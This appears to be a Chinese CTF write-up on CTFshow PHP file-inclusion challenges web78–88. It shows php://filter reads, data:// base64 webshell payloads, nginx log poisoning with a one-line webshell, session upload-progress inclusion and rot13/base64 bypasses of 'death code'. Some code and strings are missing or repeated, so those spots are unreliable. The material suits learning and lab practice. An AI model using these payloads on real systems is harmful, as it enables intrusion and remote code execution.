CTFSHOW 文件包含

目录

web78   php://filter

 web79  data://text/plain

 web80  日志文件包含

 web81

 web82-86  session 文件包含

web87 死亡代码 绕过  rot13 base64

rot13

 base64

web88


web78   php://filter

 

包含一个文件

发现了 include 我们可以配合伪协议来读取flag

php://filter/read=convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3MDQ4ZDgyOC0yYzBiLTQzZDAtYmRjYi02OTNmNWVhMjI3Yzh9Ijs=

解码

CTFSHOW 文件包含_第1张图片

 web79  data://text/plain

 

过滤了 将php过滤 为 ???

那我们通过 data协议直接执行查询代码

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==

ls

CTFSHOW 文件包含_第2张图片

CTFSHOW 文件包含_第3张图片

 读取flag

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==

 

 web80  日志文件包含

 

首先使用插件查看服务

CTFSHOW 文件包含_第4张图片

发现是使用 nginx 的服务器 那么一般日志文件是存在

var/log/nginx/access.log

 那我们看看去访问文件

 发现能读取 那我们传入 命令

看看能不能解析

 CTFSHOW 文件包含_第5张图片

那就很简单了 直接通过 一句话木马上传即可

CTFSHOW 文件包含_第6张图片

 

1=system('tac /var/www/html/fl0g.php');

 CTFSHOW 文件包含_第7张图片

 web81

 

发现还是可以使用日志包含

访问 /var/log/nginx/access/log

上传一句话木马

/?file=/var/log/nginx/access.log&1=system('ls /var/www/html');

CTFSHOW 文件包含_第8张图片

/?file=/var/log/nginx/access.log&1=system('tac /var/www/html/fl0g.php');

 CTFSHOW 文件包含_第9张图片

 web82-86  session 文件包含

 

过滤了 .

那么 我们就无法使用 带有后缀的文件了

那在 php中 可以使用无后缀的 就是 session文件

这里就需要使用两个东西

session.upload_progress


PHP_SESSION_UPLOAD_PROGRESS 参数

再了解 session.upload_progress是我们先了解 php.ini的参数

session.upload_progress.enable = on
浏览器向服务器上传文件的时候 会将上传信息存储在session中

session.upload_progress.cleanup = on
在上传成功后 服务器会cleanup文件 清除session里面的内容

session.upload_progress.prefix = "upload_progress_"
session里面的键名

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
如果name出现在表单中 那么就会报告上传进度

接下来我们分析过程

如果我们php.ini设置session.auto_start为on

php在接受到请求就会自动初始化 session 所以不需要执行 session start()

但是默认情况下 session.auto_start 都是关闭的

但是session还存在一个默认选项session.use_strict_mode默认值是为0

这个时候 用户可以自定义Session ID


例如

我设置 cookie:PHPSESSID=Xio


那么这个时候 会在服务器创建一个文件 /tmp/sess_Xio

即使用户自己没有初始化 但是php也会自动初始化session

并且产生一个键值 ini.get(“session.upload_progress.prefix”)+session.upload_progress.name


总结

我们写入的PHPSESSID会被当做文件名

这里又需要使用条件竞争来实现访问

web87 死亡代码 绕过  rot13 base64

 ".$content);

    
}else{
    highlight_file(__FILE__);
} 

file_put_content和死亡·杂糅代码之缘 - 先知社区

出现了一个 死亡代码

在我们写入文件的时候 会先执行

那我们怎么绕过呢

首先就是加密方式

我们可以通过 rot13绕过

那我们怎么绕过 过滤php正则呢 只需要通过 url编码两次绕过即可

rot13

php://filter/write=string.rot13/resource=2.php

两次url
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

然后就是content的内容了

我们只需要 将 content内容 进行 rot13编码

然后即可

CTFSHOW 文件包含_第10张图片

 

然后执行访问 2.php

CTFSHOW 文件包含_第11张图片

再次修改访问 fl0g.php即可

 base64

我们get的内容已经实现了 那我们看看怎么绕过死亡代码

我们输入 

就会结合为 
直接退出

如果我们使用base64的话

 只会解码 php  和 die 指令 


而base64通常是8个一组 phpdie只有6个 所以我们随便补充两个来保证解码

aaPD9waHAgc3lzdGVtKCdscycpOz8+

这个时候 base64解码就是

phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+

其中phpdieaa 会解码失败 从而绕过 死亡代码

所以我们来进行写入

POST
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+

GET

?file=php://filter/write=convert.base64-decode/resource=flag.php



?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30

CTFSHOW 文件包含_第12张图片

修改文件名 然后写入 读取命令即可

POST
content=aa

content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==

GET

?file=php://filter/write=convert.base64-decode/resource=5.php



?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30

这样就绕过了死亡代码

web88

可以使用data协议来执行

?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7

CTFSHOW 文件包含_第13张图片

 

你可能感兴趣的:(android)